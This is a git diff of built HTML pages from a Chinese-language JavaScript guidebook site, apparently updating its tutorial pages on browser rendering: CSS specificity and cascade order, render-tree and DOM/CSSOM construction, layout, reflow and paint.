                    WebKit 节点会引用样式对象 (RenderStyle)。这些对象在某些情况下可以由不同节点共享。这些节点是同级关系,并且:

                    1. 这些元素必须处于相同的鼠标状态(例如,不允许其中一个是 :hover 状态,而另一个不是)
                    2. 任何元素都没有 id
                    3. 标记名称应匹配
                    4. 类属性应匹配
                    5. 映射属性的集合必须是完全相同的
                    6. 链接状态必须匹配
                    7. 焦点状态必须匹配
                    8. 任何元素都不应受属性选择器的影响,这里所说的“影响”是指在选择器中的任何位置有任何使用了属性选择器的选择器匹配
                    9. 元素中不能有任何 inline 样式属性
                    10. 不能使用任何同级选择器。WebCore 在遇到任何同级选择器时,只会引发一个全局开关,并停用整个文档的样式共享(如果存在)。这包括 + 选择器以及 :first-child:last-child 等选择器。

                    对规则进行处理以简化匹配

                    样式规则来源:

                    • 外部样式表获样式元素中的 CSS 规则
                    p {
                    color: blue;
                    }
                    • 行内样式属性及类似内容
                    <p style="color: blue" />
                    • HTML 可视化属性(映射到相关的样式规则)
                    <p bgcolor="blue" />

                    后两种很容易和元素进行匹配,因为元素拥有样式属性,而且 HTML 属性可以使用元素作为键值进行映射。

                    样式表解析完毕后,系统会根据选择器将 CSS 规则添加到某个哈希表中。这些哈希表的选择器各不相同,包括 ID、类名称、标记名称等,还有一种通用哈希表,适合不属于上述类别的规则。如果是 ID 选择器,规则就会添加到 ID 表中;如果是类选择器,规则就会添加到类表中,以此类推。

                    这种处理可以大大简化规则匹配。我们无需查看每一条声明,只要从哈希表中提取元素的相关规则即可。这种优化方法可排除掉 95% 以上规则,因此在匹配过程中根本就不用考虑这些规则。

                    我们以如下的样式规则为例:

                    p.error {
                    color: red;
                    }
                    #messageDiv {
                    height: 50px;
                    }
                    div {
                    margin: 5px;
                    }

                    第一条规则将插入类表,第二条将插入 ID 表,而第三条将插入标记表。

                    <p class="error">an error occurred</p>
                    <div id="messageDiv">this is a message</div>

                    我们首先会为 p 元素寻找匹配的规则。类表中有一个 error 键,在下面可以找到 p.error 的规则。div 元素在 id 表(键为 id)和标记表中有相关的规则。剩下的工作就是找出哪些根据键提取的规则是真正匹配的了。

                    层叠顺序

                    样式对象具有与每个可视化属性一一对应的属性(均为 CSS 属性但更为通用)。如果某个属性未由任何匹配规则所定义,那么部分属性就可由父代元素样式对象继承。其他属性具有默认值。

                    如果定义不止一个,就会出现问题,需要通过层叠顺序来解决。

                    样式表的级联顺序

                    某个样式属性的声明可能会出现在多个样式表中,也可能在同一个样式表中出现多次。这意味着应用规则的顺序极为重要。这称为 层叠 顺序。根据 CSS2 规范,层叠的顺序为(优先级从低到高):

                    1. 浏览器声明
                    2. 用户普通声明
                    3. 作者普通声明
                    4. 作者的 important 声明
                    5. 用户的 important 声明

                    浏览器声明是重要程度最低的,而用户只有将该声明标记为 important 时才会覆盖网页作者的声明。同等级别的声明将根据 特异性 以及它们被定义时的顺序进行排序。HTML 可视化属性将被转换为匹配的 CSS 声明,它们被视为最低优先级的作者规则。

                    特异性

                    选择器的特异性由 CSS2 规范定义:

                    • 如果声明来自 style 属性,而不是带有选择器的规则,则记为 1,否则记为 0(=a)
                    • 记为选择器中 ID 属性的个数(=b)
                    • 记为选择器中其他属性和伪类的个数(=c)
                    • 记为选择器中元素名称和伪元素的个数(=d)

                    将四个数字按 a-b-c-d 这样连接起来(位于大数进位的数字系统中),构成特异性。

                    您使用的进取制取决于上述类别中的最高计数。

                    例如,如果 a = 14 ,您可以使用十六进制。如果 a = 17,那么您需要使用十七进制;当然不太可能出现这种情况,除非是存在如下的选择器:html body div div p ...(在选择器中出现了 17 个标记,这样的可能性极低)。

                    🌰 代码示例

                    * {} /* a=0 b=0 c=0 d=0 -> specificity = 0,0,0,0 */
                    li {} /* a=0 b=0 c=0 d=1 -> specificity = 0,0,0,1 */
                    li:first-line {} /* a=0 b=0 c=0 d=2 -> specificity = 0,0,0,2 */
                    ul li {} /* a=0 b=0 c=0 d=2 -> specificity = 0,0,0,2 */
                    ul ol+li {} /* a=0 b=0 c=0 d=3 -> specificity = 0,0,0,3 */
                    h1 + *[rel=up]{} /* a=0 b=0 c=1 d=1 -> specificity = 0,0,1,1 */
                    ul ol li.red {} /* a=0 b=0 c=1 d=3 -> specificity = 0,0,1,3 */
                    li.red.level {} /* a=0 b=0 c=2 d=1 -> specificity = 0,0,2,1 */
                    #x34y {} /* a=0 b=1 c=0 d=0 -> specificity = 0,1,0,0 */
                    style="" /* a=1 b=0 c=0 d=0 -> specificity = 1,0,0,0 */

                    参考资料

                    +

                    渲染树构建

                    构建对象模型 中,我们根据 HTML 和 CSS 输入构建了 DOM 树和 CSSOM 树。 不过,它们都是独立的对象,分别网罗文档不同方面的信息:一个描述内容,另一个则是描述需要对文档应用的样式规则。

                    DOM 树和 CSSOM 树将合并后在浏览器屏幕上渲染像素

                    • DOM 树与 CSSOM 树合并后形成渲染树
                    • 渲染树只包含渲染网页所需的节点
                    • 布局 计算每个对象的精确位置和大小
                    • 最后一步是 绘制,使用最终渲染树将像素渲染到屏幕上

                    构建流程

                    浏览器将 DOM 和 CSSOM 合并成一个 渲染树,它会网罗网页上所有可见的 DOM 内容,以及每个节点的所有 CSSOM 样式信息。

                    渲染树构建

                    为了构建渲染树,浏览器大体上完成了下列工作:

                    1. 从 DOM 树的根节点开始遍历每个可见节点
                      • 某些节点不可见(例如脚本标记、元标记等),因为它们不会体现在渲染输出中,所以会被忽略。
                      • 某些节点通过 CSS 隐藏,因此在渲染树中也会被忽略,例如,样式设置为 display: none 属性的节点。
                    2. 对于每个可见节点,为其找到适配的 CSSOM 规则并应用它们。
                    3. 发射可见节点,连同其内容和计算的样式。

                    遍历文档树

                    渲染对象是和 DOM 元素相对应,但这种对应关系并非一一对应。

                    非可视化元素

                    非可视化的 DOM 元素不会被插入渲染树中。

                    例如, <head> 标签以及里面的内容,以及 display:none 的元素也会被去除,但是 visibility 属性值为 hidden 的元素仍会显示。

                    复杂结构元素

                    部分 DOM 元素可对应多个可视化对象。它们往往是具有复杂结构的元素,无法用单一的矩形来描述。

                    例如, select 元素有 3 个渲染器:一个用于显示区域,一个用于下拉列表框,还有一个用于按钮。如果由于宽度不够,文本无法在一行中显示而分为多行,那么新的行也会作为新的呈现器而添加。

                    另一个关于多渲染器的例子是格式无效的 HTML。根据 CSS 规范,行内元素只能仅包含块状元素或行内元素中的一种。如果出现了混合内容,则应创建匿名的块状渲染对象,以包裹行内元素。所以我们平时的 inline-block 可以设置宽高。

                    脱离文档流

                    部分渲染对象对应于 DOM 节点,但树中所在的位置与 DOM 节点不同。

                    例如,浮动定位和绝对定位的元素处于正常的文本流之外,在两棵树上的位置不同,渲染树上标识出真实的结构,并用一个占位结构标识出它们原来的位置。

                    渲染树及对应DOM树

                    样式计算

                    构建渲染树之前,需要计算每一个渲染对象的可视化属性。这是通过计算每个元素的样式属性来完成的。

                    样式包括来自各种来源的样式表行内样式元素HTML 中的可视化属性。其中后者经过转化以匹配 CSS 样式属性。

                    样式表的来源包括浏览器的默认样式表由网页作者提供的样式表以及由浏览器用户提供的用户样式表(浏览器允许您定义自己喜欢的样式。以 Firefox 为例,用户可以将自己喜欢的样式表放在 Firefox Profile 文件夹下)。

                    样式计算存在以下难点:

                    1. 样式数据是一个超大的结构,存储了无数的样式属性,这可能造成内存问题。
                    2. 如果不进行优化,为每一个元素查找匹配的规则会造成性能问题。要为每一个元素遍历整个规则列表来寻找匹配规则,这是一项浩大的工程。选择器会具有很复杂的结构,这就会导致某个匹配过程一开始看起来很可能是正确的,但最终发现其实是徒劳的,必须尝试其他匹配路径。
                    3. 应用规则涉及到相当复杂的层叠规则(用于定义这些规则的层次)

                    主线程解析CSS以添加计算后样式

                    共享样式数据

                    WebKit 节点会引用样式对象 (RenderStyle)。这些对象在某些情况下可以由不同节点共享。这些节点是同级关系,并且:

                    1. 这些元素必须处于相同的鼠标状态(例如,不允许其中一个是 :hover 状态,而另一个不是)
                    2. 任何元素都没有 id
                    3. 标记名称应匹配
                    4. 类属性应匹配
                    5. 映射属性的集合必须是完全相同的
                    6. 链接状态必须匹配
                    7. 焦点状态必须匹配
                    8. 任何元素都不应受属性选择器的影响,这里所说的“影响”是指在选择器中的任何位置有任何使用了属性选择器的选择器匹配
                    9. 元素中不能有任何 inline 样式属性
                    10. 不能使用任何同级选择器。WebCore 在遇到任何同级选择器时,只会引发一个全局开关,并停用整个文档的样式共享(如果存在)。这包括 + 选择器以及 :first-child:last-child 等选择器。

                    对规则进行处理以简化匹配

                    样式规则来源:

                    • 外部样式表获样式元素中的 CSS 规则
                    p {
                    color: blue;
                    }
                    • 行内样式属性及类似内容
                    <p style="color: blue" />
                    • HTML 可视化属性(映射到相关的样式规则)
                    <p bgcolor="blue" />

                    后两种很容易和元素进行匹配,因为元素拥有样式属性,而且 HTML 属性可以使用元素作为键值进行映射。

                    样式表解析完毕后,系统会根据选择器将 CSS 规则添加到某个哈希表中。这些哈希表的选择器各不相同,包括 ID、类名称、标记名称等,还有一种通用哈希表,适合不属于上述类别的规则。如果是 ID 选择器,规则就会添加到 ID 表中;如果是类选择器,规则就会添加到类表中,以此类推。

                    这种处理可以大大简化规则匹配。我们无需查看每一条声明,只要从哈希表中提取元素的相关规则即可。这种优化方法可排除掉 95% 以上规则,因此在匹配过程中根本就不用考虑这些规则。

                    我们以如下的样式规则为例:

                    p.error {
                    color: red;
                    }
                    #messageDiv {
                    height: 50px;
                    }
                    div {
                    margin: 5px;
                    }

                    第一条规则将插入类表,第二条将插入 ID 表,而第三条将插入标记表。

                    <p class="error">an error occurred</p>
                    <div id="messageDiv">this is a message</div>

                    我们首先会为 p 元素寻找匹配的规则。类表中有一个 error 键,在下面可以找到 p.error 的规则。div 元素在 id 表(键为 id)和标记表中有相关的规则。剩下的工作就是找出哪些根据键提取的规则是真正匹配的了。

                    层叠顺序

                    样式对象具有与每个可视化属性一一对应的属性(均为 CSS 属性但更为通用)。如果某个属性未由任何匹配规则所定义,那么部分属性就可由父代元素样式对象继承。其他属性具有默认值。

                    如果定义不止一个,就会出现问题,需要通过层叠顺序来解决。

                    样式表的级联顺序

                    某个样式属性的声明可能会出现在多个样式表中,也可能在同一个样式表中出现多次。这意味着应用规则的顺序极为重要。这称为 层叠 顺序。根据 CSS2 规范,层叠的顺序为(优先级从低到高):

                    1. 浏览器声明
                    2. 用户普通声明
                    3. 作者普通声明
                    4. 作者的 important 声明
                    5. 用户的 important 声明

                    浏览器声明是重要程度最低的,而用户只有将该声明标记为 important 时才会覆盖网页作者的声明。同等级别的声明将根据 特异性 以及它们被定义时的顺序进行排序。HTML 可视化属性将被转换为匹配的 CSS 声明,它们被视为最低优先级的作者规则。

                    特异性

                    选择器的特异性由 CSS2 规范定义:

                    • 如果声明来自 style 属性,而不是带有选择器的规则,则记为 1,否则记为 0(=a)
                    • 记为选择器中 ID 属性的个数(=b)
                    • 记为选择器中其他属性和伪类的个数(=c)
                    • 记为选择器中元素名称和伪元素的个数(=d)

                    将四个数字按 a-b-c-d 这样连接起来(位于大数进位的数字系统中),构成特异性。

                    您使用的进取制取决于上述类别中的最高计数。

                    例如,如果 a = 14 ,您可以使用十六进制。如果 a = 17,那么您需要使用十七进制;当然不太可能出现这种情况,除非是存在如下的选择器:html body div div p ...(在选择器中出现了 17 个标记,这样的可能性极低)。

                    🌰 代码示例

                    * {} /* a=0 b=0 c=0 d=0 -> specificity = 0,0,0,0 */
                    li {} /* a=0 b=0 c=0 d=1 -> specificity = 0,0,0,1 */
                    li:first-line {} /* a=0 b=0 c=0 d=2 -> specificity = 0,0,0,2 */
                    ul li {} /* a=0 b=0 c=0 d=2 -> specificity = 0,0,0,2 */
                    ul ol+li {} /* a=0 b=0 c=0 d=3 -> specificity = 0,0,0,3 */
                    h1 + *[rel=up]{} /* a=0 b=0 c=1 d=1 -> specificity = 0,0,1,1 */
                    ul ol li.red {} /* a=0 b=0 c=1 d=3 -> specificity = 0,0,1,3 */
                    li.red.level {} /* a=0 b=0 c=2 d=1 -> specificity = 0,0,2,1 */
                    #x34y {} /* a=0 b=1 c=0 d=0 -> specificity = 0,1,0,0 */
                    style="" /* a=1 b=0 c=0 d=0 -> specificity = 1,0,0,0 */

                    参考资料

                    - + diff --git a/browser-object-model/browser-working-principle/construction-of-the-object-model/index.html b/browser-object-model/browser-working-principle/construction-of-the-object-model/index.html index 8d2946ca0..6372b3ee0 100644 --- a/browser-object-model/browser-working-principle/construction-of-the-object-model/index.html +++ b/browser-object-model/browser-working-principle/construction-of-the-object-model/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 构建对象模型 - JavaScript Guidebook -

                    构建对象模型

                    浏览器渲染页面前需要先构建 DOM 树和 CSSOM 树。而 DOM 树 和 CSSOM 树是基于 HTML 文件和 CSS 文件构建的。

                    文档对象模型图解

                    文档对象模型

                    文档对象模型的构建过程。

                    字节(Bytes) => 字符(Characters) => 令牌(Tokens) => 节点(Nodes) => 文档对象模型(DOM
                    文档对象模型图解
                    1. 转换: 浏览器从磁盘或网络读取 HTML 的原始字节,并根据文件的指定编码(例如 UTF-8)将它们转换成各个字符。
                    2. 令牌化: 浏览器将字符串转换成 W3C HTML5 标准 规定的各种令牌,例如,<html><body>,以及其他尖括号内的字符串。每个令牌都具有特殊含义和一组规则。
                    3. 词法分析: 发出的令牌转换成定义其属性和规则的"对象"。
                    4. DOM 构建: 最后,由于 HTML 标记定义不同标记之间的关系(一些标记包含在其他标记内),创建的对象链接在一个树数据结构内,此结构也会捕获原始标记中定义的父项-子项关系:HTML 对象是 body 对象的父项,bodyparagraph 对象的父项,依此类推。

                    整个流程的最终输出是我们这个简单页面的文档对象模型 (DOM),浏览器对页面进行的所有进一步处理都会用到它。

                    浏览器每次处理 HTML 标记时,都会完成以上所有步骤:将字节转换成字符,确定令牌,将令牌转换成节点,然后构建 DOM 树。这整个流程可能需要一些时间才能完成,有大量 HTML 需要处理时更是如此。

                    CSS 对象模型

                    与处理 HTML 时一样,我们需要将收到的 CSS 规则转换成某种浏览器能够理解和处理的东西。因此,我们会重复 HTML 过程,不过是为 CSS 而不是 HTML:

                    字节(Bytes) => 字符(Characters) => 令牌(Tokens) => 节点(Nodes) => CSS 对象模型(CSSOM

                    CSS 字节转换成字符,接着转换成令牌和节点,最后链接到一个称为 CSS 对象模型(CSSOM)的树结构内:

                    CSS 对象模型图解

                    CSSOM 为何具有树结构?为页面上的任何对象计算最后一组样式时,浏览器都会先从适用于该节点的最通用规则开始(例如,如果该节点是 body 元素的子项,则应用所有 body 样式),然后通过应用更具体的规则(即规则向下级联)以递归方式优化计算的样式。

                    还请注意,以上树并非完整的 CSSOM 树,它只显示了我们决定在样式表中替换的样式。每款浏览器都提供一组默认样式(也称为 User Agent 样式),即我们不提供任何自定义样式时所看到的样式,我们的样式只是替换这些默认样式(例如 默认 IE 样式)。

                    参考资料

                    +

                    构建对象模型

                    浏览器渲染页面前需要先构建 DOM 树和 CSSOM 树。而 DOM 树 和 CSSOM 树是基于 HTML 文件和 CSS 文件构建的。

                    文档对象模型图解

                    文档对象模型

                    文档对象模型的构建过程。

                    字节(Bytes) => 字符(Characters) => 令牌(Tokens) => 节点(Nodes) => 文档对象模型(DOM
                    文档对象模型图解
                    1. 转换: 浏览器从磁盘或网络读取 HTML 的原始字节,并根据文件的指定编码(例如 UTF-8)将它们转换成各个字符。
                    2. 令牌化: 浏览器将字符串转换成 W3C HTML5 标准 规定的各种令牌,例如,<html><body>,以及其他尖括号内的字符串。每个令牌都具有特殊含义和一组规则。
                    3. 词法分析: 发出的令牌转换成定义其属性和规则的"对象"。
                    4. DOM 构建: 最后,由于 HTML 标记定义不同标记之间的关系(一些标记包含在其他标记内),创建的对象链接在一个树数据结构内,此结构也会捕获原始标记中定义的父项-子项关系:HTML 对象是 body 对象的父项,bodyparagraph 对象的父项,依此类推。

                    整个流程的最终输出是我们这个简单页面的文档对象模型 (DOM),浏览器对页面进行的所有进一步处理都会用到它。

                    浏览器每次处理 HTML 标记时,都会完成以上所有步骤:将字节转换成字符,确定令牌,将令牌转换成节点,然后构建 DOM 树。这整个流程可能需要一些时间才能完成,有大量 HTML 需要处理时更是如此。

                    CSS 对象模型

                    与处理 HTML 时一样,我们需要将收到的 CSS 规则转换成某种浏览器能够理解和处理的东西。因此,我们会重复 HTML 过程,不过是为 CSS 而不是 HTML:

                    字节(Bytes) => 字符(Characters) => 令牌(Tokens) => 节点(Nodes) => CSS 对象模型(CSSOM

                    CSS 字节转换成字符,接着转换成令牌和节点,最后链接到一个称为 CSS 对象模型(CSSOM)的树结构内:

                    CSS 对象模型图解

                    CSSOM 为何具有树结构?为页面上的任何对象计算最后一组样式时,浏览器都会先从适用于该节点的最通用规则开始(例如,如果该节点是 body 元素的子项,则应用所有 body 样式),然后通过应用更具体的规则(即规则向下级联)以递归方式优化计算的样式。

                    还请注意,以上树并非完整的 CSSOM 树,它只显示了我们决定在样式表中替换的样式。每款浏览器都提供一组默认样式(也称为 User Agent 样式),即我们不提供任何自定义样式时所看到的样式,我们的样式只是替换这些默认样式(例如 默认 IE 样式)。

                    参考资料

                    - + diff --git a/browser-object-model/browser-working-principle/index.html b/browser-object-model/browser-working-principle/index.html index 4e74077a3..739ef33ec 100644 --- a/browser-object-model/browser-working-principle/index.html +++ b/browser-object-model/browser-working-principle/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/browser-object-model/browser-working-principle/layout/index.html b/browser-object-model/browser-working-principle/layout/index.html index 1e498d492..c3360db03 100644 --- a/browser-object-model/browser-working-principle/layout/index.html +++ b/browser-object-model/browser-working-principle/layout/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 布局 - JavaScript Guidebook -

                    布局

                    渲染器在创建完成并添加到渲染树时,并不包含位置和大小信息。计算这些值的过程称为布局(Layout)重排(Reflow)

                    HTML 采用 基于流的布局模型,这意味着大多数情况下只要一次遍历就能计算出几何信息。处于流中靠后位置元素通常不会影响靠前位置元素的几何特征,因此布局可以按从左至右、从上至下的顺序遍历文档。

                    • 坐标系是相对于根节点而建立的,使用的是上坐标和左坐标。
                    • 根渲染器的位置左边是 (0, 0),其尺寸为视口(也就是浏览器窗口的可视区域)。

                    布局是一个 递归 的过程。它从根渲染器(对应于 HTML 文档的 <html> 元素)开始,然后递归遍历部分或所有的渲染器层次结构,每一个渲染器都会通过调用其需要进行布局的子代的 layout 方法,为每一个需要计算的渲染器计算几何信息。任何有可能改变元素位置或大小的样式都会触发这个 Layout 事件。

                    脏位系统

                    为避免对所有细小更改都进行整体布局,浏览器采用了一种 Dirty 位系统。如果某个渲染器发生了更改,或者将自身及其子代标注为 dirty,则需要进行布局。类似于脏检测。

                    dirtychildren are dirty 两种标记方法。children are dirty 表示尽管渲染器自身没有变化,但它至少有一个子代需要布局。

                    布局方式

                    全局布局和增量布局

                    • 全局布局:指触发了整个渲染树范围的布局,渲染器的 全局样式更改 或者 屏幕大小调整 都会触发全局布局
                      • 影响所有渲染器的全局样式更改,例如字体大小更改
                      • 屏幕大小调整
                    • 增量布局:采用增量方式,也就是只对 dirty 渲染器进行布局(这样可能存在需要进行额外布局的弊端)
                      • 当来自网络的额外内容添加到 DOM 树之后,新的渲染器附加到了渲染器中

                    异步布局和同步布局

                    全局布局往往是同步触发的。 有时,当初始布局完成之后,如果一些属性(如滚动位置)发生变化,布局就会作为回调而触发。

                    增量布局是异步执行的。

                    • Firefox 将增量布局的 reflow 命令加入队列,而调度程序会触发这些命令的批量执行
                    • WebKit 也有用于执行增量布局的计时器:对渲染树进行遍历,并对 dirty 渲染器进行布局。 请求样式信息(例如 offsetHeight)的脚本可同步触发增量布局。

                    优化方式

                    浏览器的优化策略

                    如果布局是由 大小调整渲染器的位置(而非大小) 改变而触发的,那么可以从缓存中获取渲染器的大小,而无需重新计算。在某些情况下,只有一个子树进行了修改,因此无需从根节点开始布局。这适用于在本地进行更改而不影响周围元素的情况,例如在文本字段中插入文本(否则每次键盘输入都将触发从根节点开始的布局)。

                    因为这个优化方案,所以你每改一次样式,它就不会回流(Reflow)或重绘(Repaint)一次。但是有些情况,如果我们的程序需要某些特殊的值,那么浏览器需要返回最新的值,而会有一些样式的改变,从而造成频繁的回流和重绘。比如获取下面这些值,浏览器会马上进行回流:

                    • offsetTopoffsetLeftoffsetWidthoffsetHeight
                    • scrollTopscrollLeftscrollWidthscrollHeight
                    • clientTopclientLeftclientWidthclientHeight
                    • window.getComputedStyle()
                    • currentStyle

                    减少重绘重排的优化策略

                    • 减少逐条地修改 DOM 节点的样式,尽可能使用 CSS 类进行批量操作
                    • 缓存 DOM 节点,供后面使用
                    • 把 DOM 离线后修改,如:documentFragment、虚拟 DOM、改为 display:none 再显示
                    • 尽量修改层级比较低的 DOM
                    • 有动画的 DOM 使用 fixedabsoultposition,脱离文档流

                    布局处理

                    布局通常具有以下模式:

                    1. 父渲染器确定自己的宽度
                    2. 父渲染器依次处理子渲染器,并且:
                      1. 放置子渲染器(设置横纵坐标)
                      2. 如果有必要,调用子渲染器的布局(如果子渲染器是 dirty 的,或者这是全局布局,或者出于其他某些原因),这会计算子渲染器的高度
                    3. 父渲染器根据子渲染器的累加高度以及边距和补白的高度来设置自身高度,此值也可供父渲染器的父渲染器使用
                    4. 将其父 dirty 位设置为 false

                    宽度计算

                    渲染器宽度是根据容器块的宽度、渲染器样式中的 width 属性以及边距和边框计算得出的。

                    例如以下 div 的宽度:

                    <div style="width: 30%"></div>

                    将由 Webkit 计算如下(BenderBox 类,calcWidth 方法):

                    • 容器的宽度取容器的 availableWidth 和 0 中的较大值。availableWidth 在本例中相当于 contentWidth,计算公式如下:

                      clientWidth() - paddingLeft() - paddingRight();

                      clientWidthclientHeight 表示一个对象的内部(除去边框和滚动条)。

                    • 元素的宽度是 width 样式属性。它会根据容器宽度的百分比计算得出一个绝对值。

                    • 然后加上水平方向的边框和补白。

                    换行

                    如果渲染器在布局过程中需要换行,会立即暂停布局,并告知其父代需要换行。父代会创建额外的渲染器,并对其调用布局。

                    参考资料

                    +

                    布局

                    渲染器在创建完成并添加到渲染树时,并不包含位置和大小信息。计算这些值的过程称为布局(Layout)重排(Reflow)

                    HTML 采用 基于流的布局模型,这意味着大多数情况下只要一次遍历就能计算出几何信息。处于流中靠后位置元素通常不会影响靠前位置元素的几何特征,因此布局可以按从左至右、从上至下的顺序遍历文档。

                    • 坐标系是相对于根节点而建立的,使用的是上坐标和左坐标。
                    • 根渲染器的位置左边是 (0, 0),其尺寸为视口(也就是浏览器窗口的可视区域)。

                    布局是一个 递归 的过程。它从根渲染器(对应于 HTML 文档的 <html> 元素)开始,然后递归遍历部分或所有的渲染器层次结构,每一个渲染器都会通过调用其需要进行布局的子代的 layout 方法,为每一个需要计算的渲染器计算几何信息。任何有可能改变元素位置或大小的样式都会触发这个 Layout 事件。

                    脏位系统

                    为避免对所有细小更改都进行整体布局,浏览器采用了一种 Dirty 位系统。如果某个渲染器发生了更改,或者将自身及其子代标注为 dirty,则需要进行布局。类似于脏检测。

                    dirtychildren are dirty 两种标记方法。children are dirty 表示尽管渲染器自身没有变化,但它至少有一个子代需要布局。

                    布局方式

                    全局布局和增量布局

                    • 全局布局:指触发了整个渲染树范围的布局,渲染器的 全局样式更改 或者 屏幕大小调整 都会触发全局布局
                      • 影响所有渲染器的全局样式更改,例如字体大小更改
                      • 屏幕大小调整
                    • 增量布局:采用增量方式,也就是只对 dirty 渲染器进行布局(这样可能存在需要进行额外布局的弊端)
                      • 当来自网络的额外内容添加到 DOM 树之后,新的渲染器附加到了渲染器中

                    异步布局和同步布局

                    全局布局往往是同步触发的。 有时,当初始布局完成之后,如果一些属性(如滚动位置)发生变化,布局就会作为回调而触发。

                    增量布局是异步执行的。

                    • Firefox 将增量布局的 reflow 命令加入队列,而调度程序会触发这些命令的批量执行
                    • WebKit 也有用于执行增量布局的计时器:对渲染树进行遍历,并对 dirty 渲染器进行布局。 请求样式信息(例如 offsetHeight)的脚本可同步触发增量布局。

                    优化方式

                    浏览器的优化策略

                    如果布局是由 大小调整渲染器的位置(而非大小) 改变而触发的,那么可以从缓存中获取渲染器的大小,而无需重新计算。在某些情况下,只有一个子树进行了修改,因此无需从根节点开始布局。这适用于在本地进行更改而不影响周围元素的情况,例如在文本字段中插入文本(否则每次键盘输入都将触发从根节点开始的布局)。

                    因为这个优化方案,所以你每改一次样式,它就不会回流(Reflow)或重绘(Repaint)一次。但是有些情况,如果我们的程序需要某些特殊的值,那么浏览器需要返回最新的值,而会有一些样式的改变,从而造成频繁的回流和重绘。比如获取下面这些值,浏览器会马上进行回流:

                    • offsetTopoffsetLeftoffsetWidthoffsetHeight
                    • scrollTopscrollLeftscrollWidthscrollHeight
                    • clientTopclientLeftclientWidthclientHeight
                    • window.getComputedStyle()
                    • currentStyle

                    减少重绘重排的优化策略

                    • 减少逐条地修改 DOM 节点的样式,尽可能使用 CSS 类进行批量操作
                    • 缓存 DOM 节点,供后面使用
                    • 把 DOM 离线后修改,如:documentFragment、虚拟 DOM、改为 display:none 再显示
                    • 尽量修改层级比较低的 DOM
                    • 有动画的 DOM 使用 fixedabsoultposition,脱离文档流

                    布局处理

                    布局通常具有以下模式:

                    1. 父渲染器确定自己的宽度
                    2. 父渲染器依次处理子渲染器,并且:
                      1. 放置子渲染器(设置横纵坐标)
                      2. 如果有必要,调用子渲染器的布局(如果子渲染器是 dirty 的,或者这是全局布局,或者出于其他某些原因),这会计算子渲染器的高度
                    3. 父渲染器根据子渲染器的累加高度以及边距和补白的高度来设置自身高度,此值也可供父渲染器的父渲染器使用
                    4. 将其父 dirty 位设置为 false

                    宽度计算

                    渲染器宽度是根据容器块的宽度、渲染器样式中的 width 属性以及边距和边框计算得出的。

                    例如以下 div 的宽度:

                    <div style="width: 30%"></div>

                    将由 Webkit 计算如下(BenderBox 类,calcWidth 方法):

                    • 容器的宽度取容器的 availableWidth 和 0 中的较大值。availableWidth 在本例中相当于 contentWidth,计算公式如下:

                      clientWidth() - paddingLeft() - paddingRight();

                      clientWidthclientHeight 表示一个对象的内部(除去边框和滚动条)。

                    • 元素的宽度是 width 样式属性。它会根据容器宽度的百分比计算得出一个绝对值。

                    • 然后加上水平方向的边框和补白。

                    换行

                    如果渲染器在布局过程中需要换行,会立即暂停布局,并告知其父代需要换行。父代会创建额外的渲染器,并对其调用布局。

                    参考资料

                    - + diff --git a/browser-object-model/browser-working-principle/paint/index.html b/browser-object-model/browser-working-principle/paint/index.html index 5cc54f24f..457133590 100644 --- a/browser-object-model/browser-working-principle/paint/index.html +++ b/browser-object-model/browser-working-principle/paint/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 绘制 - JavaScript Guidebook -

                    绘制

                    在绘制阶段,系统会遍历渲染树,并调用(浏览器内部)渲染器的 paint 方法,将渲染器的内容绘制成位图。

                    绘制工作是使用用户界面基础组件完成的。你所看见的一切都会触发 paint。包括拖动滚动条,鼠标选择中文字等这些完全不改变样式,只改变显示结果的动作都会触发 paint

                    paint 的工作就是把文档中用户可见的那一部分展现给用户。paint 是把 layout 和样式计算的结果直接在浏览器视窗上绘制出来,它并不实现具体的元素计算,只是 layout 后面的那一步。

                    绘制顺序

                    CSS2 规范 定义了绘制流程的顺序。绘制的顺序其实就是元素进入 堆栈样式上下文 的顺序。这些堆栈会从后往前绘制,因此这样的顺序会影响绘制。块呈现器的堆栈顺序如下:

                    1. 背景颜色(background-color
                    2. 背景图片(background-image
                    3. 边框(border
                    4. 子代
                    5. 轮廓(outline

                    在样式发生变化时,浏览器会尽可能做出最小的响应。因此,元素的颜色改变后,只会对该元素进行重绘;元素的位置改变后,会对该元素及其子元素(可能还有同级元素)进行布局和重绘;添加 DOM 节点后,会对该节点进行布局和重绘。一些重大变化(例如增大 <html> 元素的字体)会导致缓存无效,使得整个渲染树都会进行重新布局和绘制。

                    更新渲染管道

                    DOM+Style、布局和绘制树的生成顺序

                    渲染管道中最重要的事情是:每个步骤中,前一个操作的结果用于后一个操作创建新数据。例如,如果布局树中的某些内容发生改变,需要为文档的受影响部分重新生成 绘制 指令。

                    如果要为元素设置动画,则浏览器必须在每个帧之间运行这些操作。大多数显示器每秒刷新屏幕 60 次(60 fps),当屏幕每帧都在变化,人眼会觉得动画很流畅。但是,如果动画丢失了中间一些帧,页面看起来就会卡顿(Janky)。

                    时间轴上的动画帧

                    即使渲染操作能跟上屏幕刷新,这些计算也会在主线程上运行,这意味着当你的应用程序运行 JavaScript 时动画可能会被阻塞。

                    时间轴上的动画帧,但 JavaScript 阻塞了一帧

                    你可以将 JavaScript 操作划分为小块,并使用 requestAnimationFrame() 在每个帧上运行。

                    有关此主题的更多信息,请参阅 Optimize JavaScript Execution。你也可以在 Web Worker 中运行 JavaScript 以避免阻塞主线程。

                    时间轴上较小的 JavaScript 块与动画帧一起运行

                    重排

                    重排(Reflow,也叫回流)指的是当浏览器某个位置的布局发生了变化,浏览器就会重新从根部开始递归向下计算该节点及其子孙节点的布局,依次计算所有节点的几何尺寸和位置。

                    正如上文所述,当 DOM 的结构发生了改变,需要从生成 DOM 这一步开始,重新经过 样式计算生成布局树建立图层树、再到 生成绘制列表 以及之后的显示器显示整个渲染过程走一遍,开销是非常大的。

                    在重排过程中,可能会增加一些渲染器,如文本字符串。DOM 树里的每个节点(内部)都会有 reflow 方法,一个节点的重排很有可能导致子节点,甚至父节点以及同级节点的重排。

